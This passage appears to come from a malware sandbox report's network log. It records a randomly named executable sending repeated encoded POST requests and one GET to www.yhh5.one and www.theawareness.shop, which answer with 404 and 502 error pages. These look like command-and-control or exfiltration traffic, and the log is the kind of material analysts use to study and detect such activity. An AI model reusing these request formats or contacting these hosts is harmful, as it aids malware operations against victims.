                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          30192.168.2.54944838.181.21.169803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:18.129079103 CEST755OUTPOST /swpt/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.yhh5.one
                                                                                          Origin: http://www.yhh5.one
                                                                                          Referer: http://www.yhh5.one/swpt/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 50 62 77 53 43 71 58 71 69 66 64 6b 37 6b 4e 35 34 63 62 71 31 52 31 58 48 50 7a 7a 62 77 4c 43 51 36 4e 50 49 49 70 35 4f 64 2f 52 6e 34 72 42 55 70 34 71 70 6e 64 4b 64 44 58 74 36 31 61 39 31 6f 41 4a 62 4d 61 38 33 33 38 45 57 47 66 74 57 58 65 62 38 73 77 56 33 71 30 73 4d 4f 68 71 52 54 67 4b 47 61 4a 49 54 42 57 45 52 59 6d 38 59 4f 55 37 79 72 75 46 68 51 41 34 46 6c 44 57 37 61 48 32 48 41 6f 6f 44 2b 4a 77 59 37 4c 30 65 70 4d 49 57 73 49 51 4a 48 32 61 68 4f 76 77 4c 42 79 61 66 33 4d 73 47 70 73 53 63 74 67 2b 4b 4b 62 39 76 36 76 78 4a 55 67 64 7a 6a 58 67 52 61 6b 64 36 50 4a 6f 69 7a 65 6a 79 65 7a 4b 55 2f 56 45 2b 4b 61 47 61 4f 35 31
                                                                                          Data Ascii: fnr=PbwSCqXqifdk7kN54cbq1R1XHPzzbwLCQ6NPIIp5Od/Rn4rBUp4qpndKdDXt61a91oAJbMa8338EWGftWXeb8swV3q0sMOhqRTgKGaJITBWERYm8YOU7yruFhQA4FlDW7aH2HAooD+JwY7L0epMIWsIQJH2ahOvwLByaf3MsGpsSctg+KKb9v6vxJUgdzjXgRakd6PJoizejyezKU/VE+KaGaO51
                                                                                          Oct 25, 2024 16:55:19.073456049 CEST302INHTTP/1.1 404 Not Found
                                                                                          Server: nginx
                                                                                          Date: Fri, 25 Oct 2024 14:55:18 GMT
                                                                                          Content-Type: text/html
                                                                                          Content-Length: 138
                                                                                          Connection: close
                                                                                          ETag: "6692510a-8a"
                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          31192.168.2.54944938.181.21.169803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:20.682038069 CEST1772OUTPOST /swpt/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.yhh5.one
                                                                                          Origin: http://www.yhh5.one
                                                                                          Referer: http://www.yhh5.one/swpt/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 50 62 77 53 43 71 58 71 69 66 64 6b 37 6b 4e 35 34 63 62 71 31 52 31 58 48 50 7a 7a 62 77 4c 43 51 36 4e 50 49 49 70 35 4f 64 33 52 6d 4c 6a 42 56 4f 73 71 6f 6e 64 4b 44 54 58 6f 36 31 61 38 31 75 6f 4e 62 4d 48 42 33 30 55 45 45 55 58 74 51 69 79 62 33 73 77 56 31 71 30 74 53 2b 67 77 52 54 77 4f 47 61 35 49 54 42 57 45 52 64 69 38 52 2f 55 37 77 72 75 47 78 41 41 38 50 46 44 2b 37 61 2f 4d 48 41 73 53 44 71 39 77 5a 62 37 30 63 62 55 49 61 73 49 53 41 58 32 38 68 4f 72 2f 4c 41 61 77 66 79 59 47 47 75 59 53 64 34 63 6f 59 2b 62 36 37 4a 7a 38 45 30 6f 4b 78 32 50 2f 54 34 30 51 79 50 68 76 2f 48 47 30 6b 37 48 55 55 63 4d 44 69 76 4f 42 63 35 55 45 6c 48 37 79 72 35 32 59 4e 2b 42 6c 6c 61 32 58 41 72 4c 2f 51 6f 53 31 66 65 4a 34 6c 68 48 52 47 36 6b 46 53 67 45 68 58 59 52 78 4c 54 49 35 6f 68 49 47 4d 2f 70 55 76 48 49 5a 7a 6d 72 76 48 6a 4f 62 63 64 4e 44 50 42 64 6f 62 30 65 66 39 75 48 4e 6a 68 55 63 38 53 4c 55 69 4c 46 75 4b 49 53 32 6d 4b 4f 58 59 4b 77 69 62 61 39 47 6a 71 [TRUNCATED]
                                                                                          Data Ascii: fnr=PbwSCqXqifdk7kN54cbq1R1XHPzzbwLCQ6NPIIp5Od3RmLjBVOsqondKDTXo61a81uoNbMHB30UEEUXtQiyb3swV1q0tS+gwRTwOGa5ITBWERdi8R/U7wruGxAA8PFD+7a/MHAsSDq9wZb70cbUIasISAX28hOr/LAawfyYGGuYSd4coY+b67Jz8E0oKx2P/T40QyPhv/HG0k7HUUcMDivOBc5UElH7yr52YN+Blla2XArL/QoS1feJ4lhHRG6kFSgEhXYRxLTI5ohIGM/pUvHIZzmrvHjObcdNDPBdob0ef9uHNjhUc8SLUiLFuKIS2mKOXYKwiba9Gjqz8DXfw1LCBXrqKfXBK4uhk5qscNNlf7CinJElRTIg9IXK35PNgNg9aS9l7/tW5mmZtIwZfM+a6M5dkz+FC7fvs0893HJoG9TO28kPz+OPLzeIRI90qfzszBPUA7OsWDYXuJrsDMwTEL/3WlAv4jB4lAGhvNNm0fmctb569D9fECgZYtbnALazPRMM0zeEMY6hLaRwW3jxiuHkJ0rdkRKoenhlS7FO0DbdPRwMP1eaDZi1IRIUK9tcxdjS208UW6SGGy0y7TxNDg0KfFgmC0ZInBMRNXms29TtXL1q7zIm2f4a9alRFexg4M+MbyOCrgepinhA9raqQbkeDH1lOJ0aWnT9QEEdRLOFoYbDzVOFe37MGQNZGML6+vJvHI5h6wlSOc7FTZ3z4VhaYbSugdFssNPOzQ6YoMoktE4kYd4fQhqDAkl66UGREh8CnUu8vrg7ceskRdcrVIPc4xrcCezAoCUVpipq2X6ZC/+KdN89Lw3Ls8I4UT0X/JzQHaBJjUVGMhVmXNQpdHA8GDBlEVGjp9Sv+LsuRcK2o5zrJ9qpdDOoEKi8+/KSnh4McqjxYBXMFoS3NkCMR0yVjRcWuVjxGHiUGUB5IaTRF1ThMaDs5+MDdd9qJFe9xNrGjkogpGFSb1OBoSIYu8mFLnqTQJN1gAyAAUujnkWuU [TRUNCATED]
                                                                                          Oct 25, 2024 16:55:21.628122091 CEST302INHTTP/1.1 404 Not Found
                                                                                          Server: nginx
                                                                                          Date: Fri, 25 Oct 2024 14:55:21 GMT
                                                                                          Content-Type: text/html
                                                                                          Content-Length: 138
                                                                                          Connection: close
                                                                                          ETag: "6692510a-8a"
                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          32192.168.2.54945038.181.21.169803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:23.223798990 CEST488OUTGET /swpt/?fnr=CZYyBcnMjf4Fjmdiq4CBxFYAftffdCb3ZfpkOftaKt3PmsveXPVxonRLGhXPrFCyh4AODr2E7Q9lR0PgaleL9rNk3NUoaelocwRAetJ1fxaiRsqZQNo6trGPhmdFKViBkg==&zB=nPlhZPwp4vxtG8 HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.yhh5.one
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:55:24.170774937 CEST302INHTTP/1.1 404 Not Found
                                                                                          Server: nginx
                                                                                          Date: Fri, 25 Oct 2024 14:55:24 GMT
                                                                                          Content-Type: text/html
                                                                                          Content-Length: 138
                                                                                          Connection: close
                                                                                          ETag: "6692510a-8a"
                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          33192.168.2.549451104.21.83.154803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:29.403829098 CEST762OUTPOST /no8n/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.theawareness.shop
                                                                                          Origin: http://www.theawareness.shop
                                                                                          Referer: http://www.theawareness.shop/no8n/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 6f 4a 7a 4c 43 4f 4e 68 6d 46 61 65 47 59 70 55 68 57 7a 66 41 36 5a 64 7a 56 2b 43 4e 4b 56 4a 70 4e 34 5a 39 74 2f 75 33 4c 53 61 68 38 47 75 38 4e 66 6a 36 50 6f 37 37 37 57 63 74 2b 56 4e 4f 67 51 47 4a 65 78 35 77 4b 52 6a 4e 74 4b 48 34 50 57 73 72 55 38 49 36 2b 63 43 6c 45 35 37 75 67 47 32 34 4e 41 7a 55 61 64 6f 57 38 6e 74 2b 4a 33 37 6f 36 61 70 48 45 38 6d 35 7a 49 62 47 36 6f 30 36 78 67 59 46 35 78 4c 33 6c 72 35 4a 75 64 72 72 77 6f 41 72 77 44 4e 53 52 42 54 6d 6b 37 77 41 6d 5a 63 69 7a 2f 66 42 63 4b 43 72 59 30 78 50 2b 35 39 31 72 67 2b 50 34 43 31 48 2b 72 54 45 4e 77 3d
                                                                                          Data Ascii: fnr=oJzLCONhmFaeGYpUhWzfA6ZdzV+CNKVJpN4Z9t/u3LSah8Gu8Nfj6Po777Wct+VNOgQGJex5wKRjNtKH4PWsrU8I6+cClE57ugG24NAzUadoW8nt+J37o6apHE8m5zIbG6o06xgYF5xL3lr5JudrrwoArwDNSRBTmk7wAmZciz/fBcKCrY0xP+591rg+P4C1H+rTENw=
                                                                                          Oct 25, 2024 16:55:30.070547104 CEST1236INHTTP/1.1 502 Bad Gateway
                                                                                          Date: Fri, 25 Oct 2024 14:55:30 GMT
                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                          Content-Length: 6366
                                                                                          Connection: close
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r2qy9d3ybRSYIRGQhpsIBlXQAPr7l2rmJbBn7HR8tLscB%2FTtWSA7k7p8TbGEjOkBpAkv0OxNuQtG0%2BlrjZ9UmQiotieWagyHxIzRIXrkryYje9m%2FkzSLoLtLZwUJVbVpPTVApE2NspA%3D"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                          Referrer-Policy: same-origin
                                                                                          Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830c440ad24632-DFW
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1175&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=762&delivery_rate=0&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d
                                                                                          Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...
                                                                                          Oct 25, 2024 16:55:30.070569992 CEST212INData Raw: 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 0a 3c 74 69 74 6c 65 3e 77 77 77 2e 74 68 65 61 77 61 72 65 6e 65 73 73 2e 73 68 6f 70 20 7c 20 35 30 32 3a 20 42 61 64 20 67 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74
                                                                                          Data Ascii: <![endif]--><head><title>www.theawareness.shop | 502: Bad gateway</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" cont
                                                                                          Oct 25, 2024 16:55:30.070580006 CEST1236INData Raw: 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69
                                                                                          Data Ascii: ent="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/main.css" /></head><body><div id="cf
                                                                                          Oct 25, 2024 16:55:30.070590973 CEST1236INData Raw: 69 64 20 6d 64 3a 62 6f 72 64 65 72 2d 30 20 6d 64 3a 62 6f 72 64 65 72 2d 62 20 6d 64 3a 62 6f 72 64 65 72 2d 67 72 61 79 2d 34 30 30 20 6f 76 65 72 66 6c 6f 77 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d
                                                                                          Data Ascii: id md:border-0 md:border-b md:border-gray-400 overflow-hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span cla
                                                                                          Oct 25, 2024 16:55:30.070616961 CEST1236INData Raw: 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 64 3a 62 6c 6f 63 6b 20 77 2d 66 75 6c 6c 20 74 72 75 6e 63 61 74 65 22 3e 44 61 6c 6c 61 73 3c 2f 73 70 61 6e 3e 0a 20 20 3c 68 33 20 63 6c 61 73 73 3d 22 6d 64 3a 69 6e 6c 69 6e 65 2d 62 6c 6f
                                                                                          Data Ascii: <span class="md:block w-full truncate">Dallas</span> <h3 class="md:inline-block mt-3 md:mt-0 text-2xl text-gray-600 font-light leading-1.3"> <a href="https://www.cloudflare.com/5xx-error-landing?utm_source=errorcode_502&utm_campaign=w
                                                                                          Oct 25, 2024 16:55:30.070627928 CEST636INData Raw: 22 77 2d 32 34 30 20 6c 67 3a 77 2d 66 75 6c 6c 20 6d 78 2d 61 75 74 6f 20 6d 62 2d 38 20 6c 67 3a 70 78 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 66 69 78 22 3e 0a 20 20 20 20 20 20 20
                                                                                          Data Ascii: "w-240 lg:w-full mx-auto mb-8 lg:px-8"> <div class="clearfix"> <div class="w-1/2 md:w-full float-left pr-6 md:pb-10 md:pr-0 leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">Wha
                                                                                          Oct 25, 2024 16:55:30.070651054 CEST1236INData Raw: 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 65 72 72 6f 72 2d 66 6f 6f 74 65 72 20 63 66 2d 77 72 61 70 70 65 72 20 77 2d 32 34 30 20 6c 67 3a 77 2d 66 75 6c 6c 20 70 79 2d 31
                                                                                          Data Ascii: </div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:bloc
                                                                                          Oct 25, 2024 16:55:30.070662022 CEST272INData Raw: 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 68 69 64 64 65 6e 22 29 3b 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 29 2e 63 6c 61
                                                                                          Data Ascii: ("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();</script></div>... /.error-footer --> <


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          34192.168.2.549452104.21.83.154803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:31.940980911 CEST782OUTPOST /no8n/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.theawareness.shop
                                                                                          Origin: http://www.theawareness.shop
                                                                                          Referer: http://www.theawareness.shop/no8n/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 6f 4a 7a 4c 43 4f 4e 68 6d 46 61 65 48 34 35 55 78 46 62 66 58 71 5a 65 74 46 2b 43 45 71 56 46 70 4e 30 5a 39 6f 48 2b 33 34 32 61 68 5a 36 75 37 50 33 6a 39 50 6f 37 77 62 58 57 75 4f 56 57 4f 67 63 6f 4a 62 4a 35 77 4a 74 6a 4e 73 36 48 34 34 43 72 71 45 38 64 33 65 63 41 71 6b 35 37 75 67 47 32 34 4a 67 56 55 61 56 6f 57 4e 58 74 34 62 50 36 72 36 61 75 51 30 38 6d 7a 54 49 48 47 36 6f 43 36 30 63 2b 46 36 4a 4c 33 6b 62 35 4b 38 6c 6b 68 77 6f 47 32 67 43 62 57 44 30 46 73 33 6d 37 4e 46 59 47 31 68 48 30 4a 4b 37 6f 78 36 38 5a 63 65 56 46 6c 34 6f 4a 65 49 6a 63 64 64 37 6a 61 61 6c 6d 47 51 45 30 4f 65 51 53 68 38 37 43 73 55 41 53 67 4d 4d 76
                                                                                          Data Ascii: fnr=oJzLCONhmFaeH45UxFbfXqZetF+CEqVFpN0Z9oH+342ahZ6u7P3j9Po7wbXWuOVWOgcoJbJ5wJtjNs6H44CrqE8d3ecAqk57ugG24JgVUaVoWNXt4bP6r6auQ08mzTIHG6oC60c+F6JL3kb5K8lkhwoG2gCbWD0Fs3m7NFYG1hH0JK7ox68ZceVFl4oJeIjcdd7jaalmGQE0OeQSh87CsUASgMMv
                                                                                          Oct 25, 2024 16:55:32.635912895 CEST1236INHTTP/1.1 502 Bad Gateway
                                                                                          Date: Fri, 25 Oct 2024 14:55:32 GMT
                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                          Content-Length: 6366
                                                                                          Connection: close
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3UlQ6jjGqWXVVy7Vd3YwA7KNvd0HL1Mqf0shHsIbcoGSwO9EqRfh9MBImAFjHniO1pg0raFYJAvy4UqE2z3HmbBE60T4VV9UYJI0dYM5zGOoqnT0arq3u4Kra5dJK7z3puFu40%2BeTVE%3D"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                          Referrer-Policy: same-origin
                                                                                          Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830c540ea1a916-DFW
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1310&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=782&delivery_rate=0&cwnd=127&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65
                                                                                          Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![e
                                                                                          Oct 25, 2024 16:55:32.635945082 CEST1236INData Raw: 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 0a 3c 74 69 74 6c 65 3e 77 77 77 2e 74 68 65 61 77 61 72 65 6e 65 73 73 2e 73 68 6f 70 20 7c 20 35 30 32 3a 20 42 61 64 20 67 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68
